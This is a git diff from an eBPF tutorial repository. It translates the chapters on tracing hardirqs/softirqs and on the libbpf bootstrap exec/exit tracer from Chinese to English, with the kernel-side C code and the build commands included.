softirqs,需要在相关的内核函数上放置 eBPF 程序。这些函数包括: +## Implementation Details -- 对于 hardirqs:irq_handler_entry 和 irq_handler_exit。 -- 对于 softirqs:softirq_entry 和 softirq_exit。 +In eBPF, we can capture and analyze hardirqs and softirqs by attaching specific kprobes or tracepoints. To capture hardirqs and softirqs, eBPF programs need to be placed on relevant kernel functions. These functions include: -当内核处理 hardirqs 或 softirqs 时,这些 eBPF 程序会被执行,从而收集相关信息,如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 +- For hardirqs: irq_handler_entry and irq_handler_exit. +- For softirqs: softirq_entry and softirq_exit. -为了捕获 hardirqs 和 softirqs,可以遵循以下步骤: +When the kernel processes hardirqs or softirqs, these eBPF programs are executed to collect relevant information such as interrupt vectors, execution time of interrupt handlers, etc. The collected information can be used for analyzing performance issues and other interrupt handling related problems in the kernel. -1. 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 -2. 编写 eBPF 程序,将其挂载到相应的内核函数上,以捕获 hardirqs 或 softirqs。 -3. 在 eBPF 程序中,收集中断处理程序的相关信息,并将这些信息存储在映射中。 -4. 在用户空间应用程序中,读取映射中的数据以分析和展示中断处理信息。 +To capture hardirqs and softirqs, the following steps can be followed: -通过上述方法,我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件,以识别潜在的性能问题和与中断处理相关的问题。 +1. Define data structures and maps in eBPF programs for storing interrupt information. +2. Write eBPF programs and attach them to the corresponding kernel functions to capture hardirqs or softirqs. +3. In eBPF programs, collect relevant information about interrupt handlers and store this information in the maps. +4. In user space applications, read the data from the maps to analyze and display the interrupt handling information. -## hardirqs 代码实现 +By following the above approach, we can use hardirqs and softirqs in eBPF to capture and analyze interrupt events in the kernel, identifying potential performance issues and interrupt handling related problems. -hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 +## Implementation of hardirqs Code + +The main purpose of the hardirqs program is to obtain the name, execution count, and execution time of interrupt handlers and display the distribution of execution time in the form of a histogram. Let's analyze this code step by step. ```c // SPDX-License-Identifier: GPL-2.0 @@ -166,11 +168,11 @@ int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) char LICENSE[] SEC("license") = "GPL"; ``` -这段代码是一个 eBPF 程序,用于捕获和分析内核中硬件中断处理程序(hardirqs)的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 +This code is an eBPF program used to capture and analyze the execution information of hardware interrupt handlers (hardirqs) in the kernel. The main purpose of the program is to obtain the name, execution count, and execution time of the interrupt handler, and display the distribution of execution time in the form of a histogram. Let's analyze this code step by step. -1. 包含必要的头文件和定义数据结构: +1. Include necessary header files and define data structures: - ```c +```c #include #include #include @@ -178,14 +180,13 @@ char LICENSE[] SEC("license") = "GPL"; #include "hardirqs.h" #include "bits.bpf.h" #include "maps.bpf.h" - ``` - - 该程序包含了 eBPF 开发所需的标准头文件,以及用于定义数据结构和映射的自定义头文件。 +``` -2. 定义全局变量和映射: +This program includes the standard header files required for eBPF development, as well as custom header files for defining data structures and maps. - ```c +2. Define global variables and maps: +```c #define MAX_ENTRIES 256 const volatile bool filter_cg = false; @@ -194,18 +195,17 @@ char LICENSE[] SEC("license") = "GPL"; const volatile bool do_count = false; ... - ``` - - 该程序定义了一些全局变量,用于配置程序的行为。例如,`filter_cg` 控制是否过滤 cgroup,`targ_dist` 控制是否显示执行时间的分布等。此外,程序还定义了三个映射,分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 +``` -3. 定义两个辅助函数 `handle_entry` 和 `handle_exit`: +This program defines some global variables that are used to configure the behavior of the program. For example, `filter_cg` controls whether to filter cgroups, `targ_dist` controls whether to display the distribution of execution time, etc. Additionally, the program defines three maps for storing cgroup information, start timestamps, and interrupt handler information. - 这两个函数分别在中断处理程序的入口和出口处被调用。`handle_entry` 记录开始时间戳或更新中断计数,`handle_exit` 计算中断处理程序的执行时间,并将结果存储到相应的信息映射中。 +3. Define two helper functions `handle_entry` and `handle_exit`: -4. 定义 eBPF 程序的入口点: +These two functions are called at the entry and exit points of the interrupt handler. `handle_entry` records the start timestamp or updates the interrupt count, while `handle_exit` calculates the execution time of the interrupt handler and stores the result in the corresponding information map. - ```c +4. Define the entry points of the eBPF program: +```c SEC("tp_btf/irq_handler_entry") int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) { @@ -229,17 +229,17 @@ char LICENSE[] SEC("license") = "GPL"; { return handle_exit(irq, action); } - ``` +``` - 这里定义了四个 eBPF 程序入口点,分别用于捕获中断处理程序的入口和出口事件。`tp_btf` 和 `raw_tp` 分别代表使用 BPF Type Format(BTF)和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 +Here, four entry points of the eBPF program are defined, which are used to capture the entry and exit events of the interrupt handler. `tp_btf` and `raw_tp` represent capturing events using BPF Type Format (BTF) and raw tracepoints, respectively. This ensures that the program can be ported and run on different kernel versions. -Softirq 代码也类似,这里就不再赘述了。 +The code for Softirq is similar, and I won't elaborate on it here. -## 运行代码 +## Run code.Translated content -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . -要编译这个程序,请使用 ecc 工具: +To compile this program, use the ecc tool: ```console $ ecc hardirqs.bpf.c @@ -247,16 +247,18 @@ Compiling bpf object... Packing ebpf object and config into package.json... ``` -然后运行: +Then run: ```console sudo ecli run ./package.json ``` -## 总结 +## Summary + +In this chapter (eBPF Tutorial by Example Ten: Capturing Interrupt Events in eBPF with Hardirqs or Softirqs), we learned how to capture and analyze the execution information of hardware interrupt handlers (hardirqs) in the kernel using eBPF programs. We explained the example code in detail, including how to define data structures, mappings, eBPF program entry points, and how to call helper functions to record execution information at the entry and exit points of interrupt handlers. -在本章节(eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件)中,我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序(hardirqs)的执行信息。我们详细讲解了示例代码,包括如何定义数据结构、映射以及 eBPF 程序入口点,以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 +By studying the content of this chapter, you should have mastered the methods of capturing interrupt events with hardirqs or softirqs in eBPF, as well as how to analyze these events to identify performance issues and other problems related to interrupt handling in the kernel. These skills are crucial for analyzing and optimizing the performance of the Linux kernel. -通过学习本章节内容,您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法,以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 +To better understand and practice eBPF programming, we recommend reading the official documentation of eunomia-bpf: . In addition, we provide a complete tutorial and source code for you to view and learn from at . -为了更好地理解和实践 eBPF 编程,我们建议您阅读 eunomia-bpf 的官方文档: 。此外,我们还为您提供了完整的教程和源代码,您可以在 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发,并为您的进一步学习和实践提供有益的参考。 +> The original link of this article: diff --git a/src/10-hardirqs/README.zh.md b/src/10-hardirqs/README.zh.md new file mode 100644 index 00000000..574b6ed9 --- /dev/null +++ b/src/10-hardirqs/README.zh.md @@ -0,0 +1,192 @@ +# eBPF 入门开发实践教程十:在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第十篇,在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 +hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求,以及内核中的异步事件。在 eBPF 中,我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。 + +## hardirqs 和 softirqs 是什么? + +hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时,内核会将该请求映射到一个特定的中断向量,然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件,例如设备数据传输完成或设备错误。 + +softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制,用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比,软件中断处理程序具有更高的灵活性和可配置性。 + +## 实现原理 + +在 eBPF 中,我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs,需要在相关的内核函数上放置 eBPF 程序。这些函数包括: + +- 对于 hardirqs:irq_handler_entry 和 irq_handler_exit。 +- 对于 softirqs:softirq_entry 和 softirq_exit。 + +当内核处理 hardirqs 或 softirqs 时,这些 eBPF 程序会被执行,从而收集相关信息,如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 + +为了捕获 hardirqs 和 softirqs,我们需要在 eBPF 程序中定义用于存储中断信息的数据结构和映射,编写 eBPF 程序并将其挂载到相应的内核函数上,收集中断处理程序的相关信息并存储在映射中,最后在用户空间应用程序中读取映射中的数据以分析和展示中断处理信息。通过这种方法,我们可以在 eBPF 中捕获和分析内核中的中断事件,以识别潜在的性能问题。 + +## hardirqs 代码实现 + +hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间,并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 + +```c +// SPDX-License-Identifier: GPL-2.0 +// Copyright (c) 2020 Wenbo Zhang +#include +#include +#include +#include +#include "hardirqs.h" +#include "bits.bpf.h" +#include "maps.bpf.h" + +#define MAX_ENTRIES 256 + +const volatile bool filter_cg = false; +const volatile bool targ_dist = false; +const volatile bool targ_ns = false; +const volatile bool do_count = false; + +struct { + __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); + __type(key, u32); + __type(value, u32); + __uint(max_entries, 1); +} cgroup_map SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); + __uint(max_entries, 1); + __type(key, u32); + __type(value, u64); +} start SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, struct irq_key); + __type(value, struct info); +} infos SEC(".maps"); + +static struct info zero; + +static int handle_entry(int irq, struct irqaction *action) +{ + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + if (do_count) { + struct irq_key key = {}; + struct info *info; + + bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); + info = bpf_map_lookup_or_try_init(&infos, &key, &zero); + if (!info) + return 0; + info->count += 1; + return 0; + } else { + u64 ts = bpf_ktime_get_ns(); + u32 key = 0; + + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + bpf_map_update_elem(&start, &key, &ts, BPF_ANY); + return 0; + } +} + +static int handle_exit(int irq, struct irqaction *action) +{ + struct irq_key ikey = {}; + struct info *info; + u32 key = 0; + u64 delta; + u64 *tsp; + + if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) + return 0; + + tsp = bpf_map_lookup_elem(&start, &key); + if (!tsp) + return 0; + + delta = bpf_ktime_get_ns() - *tsp; + if (!targ_ns) + delta /= 1000U; + + bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); + info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); + if (!info) + return 0; + + if (!targ_dist) { + info->count += delta; + } else { + u64 slot; + + slot = log2(delta); + if (slot >= MAX_SLOTS) + slot = MAX_SLOTS - 1; + info->slots[slot]++; + } + + return 0; +} + +SEC("tp_btf/irq_handler_entry") +int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) +{ + return handle_entry(irq, action); +} + +SEC("tp_btf/irq_handler_exit") +int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action) +{ + return handle_exit(irq, action); +} + +SEC("raw_tp/irq_handler_entry") +int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) +{ + return handle_entry(irq, action); +} + +SEC("raw_tp/irq_handler_exit") +int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) +{ + return handle_exit(irq, action); +} + +char LICENSE[] SEC("license") = "GPL"; +``` + +这段代码展示了如何使用 eBPF 捕获和分析硬件中断的执行信息。 + +让我们看看代码的工作原理。程序定义了一些 `const volatile` 全局变量用于配置行为:`filter_cg` 控制是否过滤 cgroup,`targ_dist` 控制是否显示执行时间分布,`do_count` 控制是否只统计计数。程序使用三个映射:cgroup 过滤映射、per-CPU 的开始时间戳映射,以及存储中断处理信息的 hash 映射。 + +核心逻辑在 `handle_entry` 和 `handle_exit` 两个函数中。在中断入口处,如果启用了计数模式,程序会直接增加中断计数;否则记录当前时间戳。在中断出口处,程序计算执行时间(当前时间减去开始时间),然后根据配置决定是累加总时间还是更新直方图槽位。 + +程序定义了四个 eBPF 入口点,使用 `tp_btf` 和 `raw_tp` 两种 tracepoint 类型。这种双重实现确保了程序在不同内核版本上的兼容性——较新的内核支持 BTF,较老的内核则使用原始 tracepoint。Softirq 代码也采用类似的模式。 + +## 运行代码 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +要编译这个程序,请使用 ecc 工具: + +```console +$ ecc hardirqs.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +``` + +然后运行: + +```console +sudo ecli run ./package.json +``` + +## 总结 + +在本章节中,我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序的执行信息。通过在中断处理程序的入口和出口处记录时间戳,我们可以测量中断处理时间,识别内核中的性能问题。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/10-hardirqs/README_en.md b/src/10-hardirqs/README_en.md deleted file mode 100644 index 4de28a99..00000000 --- a/src/10-hardirqs/README_en.md +++ /dev/null @@ -1,262 +0,0 @@ -# eBPF Tutorial by Example 10: Capturing Interrupts with hardirqs or softirqs - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code at runtime in the kernel. - -This article is the tenth part of the eBPF Tutorial by Example, focusing on capturing interrupt events using hardirqs or softirqs in eBPF. -hardirqs and softirqs are two different types of interrupt handlers in the Linux kernel. They are used to handle interrupt requests generated by hardware devices, as well as asynchronous events in the kernel. In eBPF, we can use the eBPF tools hardirqs and softirqs to capture and analyze information related to interrupt handling in the kernel. - -## What are hardirqs and softirqs? - -hardirqs are hardware interrupt handlers. When a hardware device generates an interrupt request, the kernel maps it to a specific interrupt vector and executes the associated hardware interrupt handler. Hardware interrupt handlers are commonly used to handle events in device drivers, such as completion of device data transfer or device errors. - -softirqs are software interrupt handlers. They are a low-level asynchronous event handling mechanism in the kernel, used for handling high-priority tasks in the kernel. softirqs are commonly used to handle events in the network protocol stack, disk subsystem, and other kernel components. Compared to hardware interrupt handlers, software interrupt handlers have more flexibility and configurability. - -## Implementation Details - -In eBPF, we can capture and analyze hardirqs and softirqs by attaching specific kprobes or tracepoints. To capture hardirqs and softirqs, eBPF programs need to be placed on relevant kernel functions. These functions include: - -- For hardirqs: irq_handler_entry and irq_handler_exit. -- For softirqs: softirq_entry and softirq_exit. - -When the kernel processes hardirqs or softirqs, these eBPF programs are executed to collect relevant information such as interrupt vectors, execution time of interrupt handlers, etc. The collected information can be used for analyzing performance issues and other interrupt handling related problems in the kernel. - -To capture hardirqs and softirqs, the following steps can be followed: - -1. Define data structures and maps in eBPF programs for storing interrupt information. -2. Write eBPF programs and attach them to the corresponding kernel functions to capture hardirqs or softirqs. -3. In eBPF programs, collect relevant information about interrupt handlers and store this information in the maps. -4. In user space applications, read the data from the maps to analyze and display the interrupt handling information. - -By following the above approach, we can use hardirqs and softirqs in eBPF to capture and analyze interrupt events in the kernel, identifying potential performance issues and interrupt handling related problems. - -## Implementation of hardirqs Code - -The main purpose of the hardirqs program is to obtain the name, execution count, and execution time of interrupt handlers and display the distribution of execution time in the form of a histogram. Let's analyze this code step by step. - -```c -// SPDX-License-Identifier: GPL-2.0 -// Copyright (c) 2020 Wenbo Zhang -#include -#include -#include -#include -#include "hardirqs.h" -#include "bits.bpf.h" -#include "maps.bpf.h" - -#define MAX_ENTRIES 256 - -const volatile bool filter_cg = false; -const volatile bool targ_dist = false; -const volatile bool targ_ns = false; -const volatile bool do_count = false; - -struct { - __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); - __type(key, u32); - __type(value, u32); - __uint(max_entries, 1); -} cgroup_map SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); - __uint(max_entries, 1); - __type(key, u32); - __type(value, u64); -} start SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, struct irq_key); - __type(value, struct info); -} infos SEC(".maps"); - -static struct info zero; - -static int handle_entry(int irq, struct irqaction *action) -{ - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - if (do_count) { - struct irq_key key = {}; - struct info *info; - - bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); - info = bpf_map_lookup_or_try_init(&infos, &key, &zero); - if (!info) - return 0; - info->count += 1; - return 0; - } else { - u64 ts = bpf_ktime_get_ns(); - u32 key = 0; - - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - bpf_map_update_elem(&start, &key, &ts, BPF_ANY); - return 0; - } -} - -static int handle_exit(int irq, struct irqaction *action) -{ - struct irq_key ikey = {}; - struct info *info; - u32 key = 0; - u64 delta; - u64 *tsp; - - if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) - return 0; - - tsp = bpf_map_lookup_elem(&start, &key); - if (!tsp) - return 0; - - delta = bpf_ktime_get_ns() - *tsp; - if (!targ_ns) - delta /= 1000U; - - bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); - info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); - if (!info) - return 0; - - if (!targ_dist) { - info->count += delta; - } else { - u64 slot; - - slot = log2(delta); - if (slot >= MAX_SLOTS) - slot = MAX_SLOTS - 1; - info->slots[slot]++; - } - - return 0; -} - -SEC("tp_btf/irq_handler_entry") -int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) -{ - return handle_entry(irq, action); -} - -SEC("tp_btf/irq_handler_exit") -int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action) -{ - return handle_exit(irq, action); -} - -SEC("raw_tp/irq_handler_entry") -int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) -{ - return handle_entry(irq, action); -} - -SEC("raw_tp/irq_handler_exit") -int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) -{ - return handle_exit(irq, action); -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -This code is an eBPF program used to capture and analyze the execution information of hardware interrupt handlers (hardirqs) in the kernel. The main purpose of the program is to obtain the name, execution count, and execution time of the interrupt handler, and display the distribution of execution time in the form of a histogram. Let's analyze this code step by step. - -1. Include necessary header files and define data structures: - -```c - #include - #include - #include - #include - #include "hardirqs.h" - #include "bits.bpf.h" - #include "maps.bpf.h" -``` - -This program includes the standard header files required for eBPF development, as well as custom header files for defining data structures and maps. - -2. Define global variables and maps: - -```c - #define MAX_ENTRIES 256 - - const volatile bool filter_cg = false; - const volatile bool targ_dist = false; - const volatile bool targ_ns = false; - const volatile bool do_count = false; - - ... -``` - -This program defines some global variables that are used to configure the behavior of the program. For example, `filter_cg` controls whether to filter cgroups, `targ_dist` controls whether to display the distribution of execution time, etc. Additionally, the program defines three maps for storing cgroup information, start timestamps, and interrupt handler information. - -3. Define two helper functions `handle_entry` and `handle_exit`: - -These two functions are called at the entry and exit points of the interrupt handler. `handle_entry` records the start timestamp or updates the interrupt count, while `handle_exit` calculates the execution time of the interrupt handler and stores the result in the corresponding information map. - -4. Define the entry points of the eBPF program: - -```c - SEC("tp_btf/irq_handler_entry") - int BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action) - { - return handle_entry(irq, action); - } - - SEC("tp_btf/irq_handler_exit") - int BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action) - { - return handle_exit(irq, action); - } - - SEC("raw_tp/irq_handler_entry") - int BPF_PROG(irq_handler_entry, int irq, struct irqaction *action) - { - return handle_entry(irq, action); - } - - SEC("raw_tp/irq_handler_exit") - int BPF_PROG(irq_handler_exit, int irq, struct irqaction *action) - { - return handle_exit(irq, action); - } -``` - -Here, four entry points of the eBPF program are defined, which are used to capture the entry and exit events of the interrupt handler. `tp_btf` and `raw_tp` represent capturing events using BPF Type Format (BTF) and raw tracepoints, respectively. This ensures that the program can be ported and run on different kernel versions. - -The code for Softirq is similar, and I won't elaborate on it here. - -## Run code.Translated content - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain that combines Wasm. Its purpose is to simplify the development, building, distribution, and execution of eBPF programs. You can refer to to download and install the ecc compilation toolchain and ecli runtime. We use eunomia-bpf to compile and run this example. - -To compile this program, use the ecc tool: - -```console -$ ecc hardirqs.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -Then run: - -```console -sudo ecli run ./package.json -``` - -## Summary - -In this chapter (eBPF Tutorial by Example Ten: Capturing Interrupt Events in eBPF with Hardirqs or Softirqs), we learned how to capture and analyze the execution information of hardware interrupt handlers (hardirqs) in the kernel using eBPF programs. We explained the example code in detail, including how to define data structures, mappings, eBPF program entry points, and how to call helper functions to record execution information at the entry and exit points of interrupt handlers. - -By studying the content of this chapter, you should have mastered the methods of capturing interrupt events with hardirqs or softirqs in eBPF, as well as how to analyze these events to identify performance issues and other problems related to interrupt handling in the kernel. These skills are crucial for analyzing and optimizing the performance of the Linux kernel. - -To better understand and practice eBPF programming, we recommend reading the official documentation of eunomia-bpf: . In addition, we provide a complete tutorial and source code for you to view and learn from at . - -> The original link of this article: diff --git a/src/11-bootstrap/.config b/src/11-bootstrap/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/11-bootstrap/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/11-bootstrap/README.md b/src/11-bootstrap/README.md index 48ea26f3..71489c45 100644 --- a/src/11-bootstrap/README.md +++ b/src/11-bootstrap/README.md @@ -1,41 +1,43 @@ -# eBPF 入门开发实践教程十一:在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用 +# eBPF Tutorial by Example 11: Develop User-Space Programs with libbpf and Trace exec() and exit() -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel. It allows developers to dynamically load, update, and run user-defined code during kernel runtime. -在本教程中,我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序,将 eBPF 应用打包为可执行文件,实现跨内核版本分发。 +In this tutorial, we will learn how kernel-space and user-space eBPF programs work together. We will also learn how to use the native libbpf to develop user-space programs, package eBPF applications into executable files, and distribute them across different kernel versions. -## libbpf 库,以及为什么需要使用它 +> The complete source code: -libbpf 是一个 C 语言库,伴随内核版本分发,用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API,使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 +## The libbpf Library and Why We Need to Use It -使用 libbpf 库有以下优势: +libbpf is a C language library that is distributed with the kernel version to assist in loading and running eBPF programs. It provides a set of C APIs for interacting with the eBPF system, allowing developers to write user-space programs more easily to load and manage eBPF programs. These user-space programs are typically used for system performance analysis, monitoring, or optimization. -- 它简化了 eBPF 程序的加载、更新和运行过程。 -- 它提供了一组易于使用的 API,使开发者能够专注于编写核心逻辑,而不是处理底层细节。 -- 它能够确保与内核中的 eBPF 子系统的兼容性,降低了维护成本。 +There are several advantages to using the libbpf library: -同时,libbpf 和 BTF(BPF Type Format)都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF(BPF Type Format)是一种元数据格式,用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式,以描述内核中的数据结构,以便 eBPF 程序可以更轻松地访问和操作它们。 +- It simplifies the process of loading, updating, and running eBPF programs. +- It provides a set of easy-to-use APIs, allowing developers to focus on writing core logic instead of dealing with low-level details. +- It ensures compatibility with the eBPF subsystem in the kernel, reducing maintenance costs. -BTF 在实现跨内核版本兼容方面的关键作用如下: +At the same time, libbpf and BTF (BPF Type Format) are important components of the eBPF ecosystem. They play critical roles in achieving compatibility across different kernel versions. BTF is a metadata format used to describe type information in eBPF programs. The primary purpose of BTF is to provide a structured way to describe data structures in the kernel so that eBPF programs can access and manipulate them more easily. -- BTF 允许 eBPF 程序访问内核数据结构的详细类型信息,而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核,从而实现跨内核版本兼容。 -- 通过使用 BPF CO-RE(Compile Once, Run Everywhere)技术,eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息,进而生成可以在不同内核版本上运行的 eBPF 程序。 +The key roles of BTF in achieving compatibility across different kernel versions are as follows: -结合 libbpf 和 BTF,eBPF 程序可以在各种不同版本的内核上运行,而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性,降低了开发和维护的难度。 +- BTF allows eBPF programs to access detailed type information of kernel data structures without hardcoding specific kernel versions. This enables eBPF programs to adapt to different kernel versions, achieving compatibility across kernel versions. +- By using BPF CO-RE (Compile Once, Run Everywhere) technology, eBPF programs can leverage BTF to parse the type information of kernel data structures during compilation, thereby generating eBPF programs that can run on different kernel versions. -## 什么是 bootstrap +By combining libbpf and BTF, eBPF programs can run on various kernel versions without the need for separate compilation for each kernel version. This greatly improves the portability and compatibility of the eBPF ecosystem and reduces the difficulty of development and maintenance. -Bootstrap 是一个使用 libbpf 的完整应用,它利用 eBPF 程序来跟踪内核中的 exec() 系统调用(通过 SEC("tp/sched/sched_process_exec") handle_exec BPF 程序),这主要对应于新进程的创建(不包括 fork() 部分)。此外,它还跟踪进程的 exit() 系统调用(通过 SEC("tp/sched/sched_process_exit") handle_exit BPF 程序),以了解每个进程何时退出。 +## What is Bootstrap -这两个 BPF 程序共同工作,允许捕获关于新进程的有趣信息,例如二进制文件的文件名,以及测量进程的生命周期,并在进程结束时收集有趣的统计信息,例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 +Bootstrap is a complete application that utilizes libbpf. It uses eBPF programs to trace the exec() system call in the kernel (handled by the SEC("tp/sched/sched_process_exec") handle_exec BPF program), which mainly corresponds to the creation of new processes (excluding the fork() part). In addition, it also traces the exit() system call of processes (handled by the SEC("tp/sched/sched_process_exit") handle_exit BPF program) to understand when each process exits. -Bootstrap 还使用 argp API(libc 的一部分)进行命令行参数解析,使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性,让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现,但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性,不过也带来了不少额外的复杂度。 +These two BPF programs work together to capture interesting information about new processes, such as the file name of the binary and measure the lifecycle of processes. They also collect interesting statistics, such as exit codes or resource consumption, when a process exits. This is a good starting point to gain a deeper understanding of the inner workings of the kernel and observe how things actually operate. + +Bootstrap also uses the argp API (part of libc) for command-line argument parsing, allowing users to configure the behavior of the application through command-line options. This provides flexibility and allows users to customize the program behavior according to their specific needs. While these functionalities can also be achieved using the eunomia-bpf tool, using libbpf here provides higher scalability in user space at the cost of additional complexity. ## Bootstrap -Bootstrap 分为两个部分:内核态和用户态。内核态部分是一个 eBPF 程序,它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序,它使用 libbpf 库来加载和运行内核态程序,并处理从内核态程序收集的数据。 +Bootstrap consists of two parts: kernel space and user space. The kernel space part is an eBPF program that traces the exec() and exit() system calls. The user space part is a C language program that uses the libbpf library to load and run the kernel space program and process the data collected from the kernel space program. -### 内核态 eBPF 程序 bootstrap.bpf.c +### Kernel-space eBPF Program bootstrap.bpf.c ```c // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause @@ -108,7 +110,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, duration_ns = 0; - + /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; @@ -120,8 +122,7 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) /* if we recorded start of the process, calculate lifetime duration */ start_ts = bpf_map_lookup_elem(&exec_start, &pid); - if (start_ts) - duration_ns = bpf_ktime_get_ns() - *start_ts; + if (start_ts)duration_ns = bpf_ktime_get_ns() - *start_ts; else if (min_duration_ns) return 0; bpf_map_delete_elem(&exec_start, &pid); @@ -151,9 +152,9 @@ int handle_exit(struct trace_event_raw_sched_process_template* ctx) } ``` -这段代码是一个内核态 eBPF 程序(bootstrap.bpf.c),主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 